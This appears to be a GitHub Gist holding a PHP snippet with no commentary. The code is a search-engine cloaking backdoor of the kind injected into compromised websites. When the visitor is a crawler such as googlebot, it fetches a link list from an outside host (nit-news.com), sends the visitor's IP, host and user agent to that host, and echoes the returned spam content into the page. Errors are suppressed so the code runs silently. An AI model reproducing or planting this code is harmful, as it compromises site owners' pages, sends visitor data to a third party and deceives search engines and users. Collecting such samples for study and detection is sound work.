Skip to content

Instantly share code, notes, and snippets.

@vinhboy
Created March 1, 2010 16:45
Show Gist options
  • Save vinhboy/318541 to your computer and use it in GitHub Desktop.
Save vinhboy/318541 to your computer and use it in GitHub Desktop.
<?php
if (stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")||
stristr($_SERVER["HTTP_USER_AGENT"],"msnbot")||
stristr($_SERVER["HTTP_USER_AGENT"],"Yahoo")||
stristr($_SERVER["HTTP_USER_AGENT"],"search")||
stristr($_SERVER["HTTP_USER_AGENT"],"ovguide")){
function get_url($url){
$ch = @curl_init();
@curl_setopt ($ch, CURLOPT_URL, $url);
@curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
@curl_setopt ($ch, CURLOPT_ENCODING , "gzip");
$result=@curl_exec ($ch);
@curl_close ($ch);
return $result;
}
$url_redirect="http://nit-news.com/links.txt";
if (function_exists("curl_init")) {
$out_redirect=trim(get_url($url_redirect));
} else {
$out_redirect=@file_get_contents($url_redirect);
}
$url_llinkss=$out_redirect.rand(1,250).".txt?ip=".$_SERVER["REMOTE_ADDR"]."&host=".rawurlencode($_SERVER["HTTP_HOST"])."&agent=".rawurlencode($_SERVER["HTTP_USER_AGENT"]);
if (function_exists("curl_init")) {
$out_llinkss=get_url($url_llinkss);
echo $out_llinkss;
} else {
$out_llinkss=@file_get_contents($url_llinkss);
echo $out_llinkss;
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment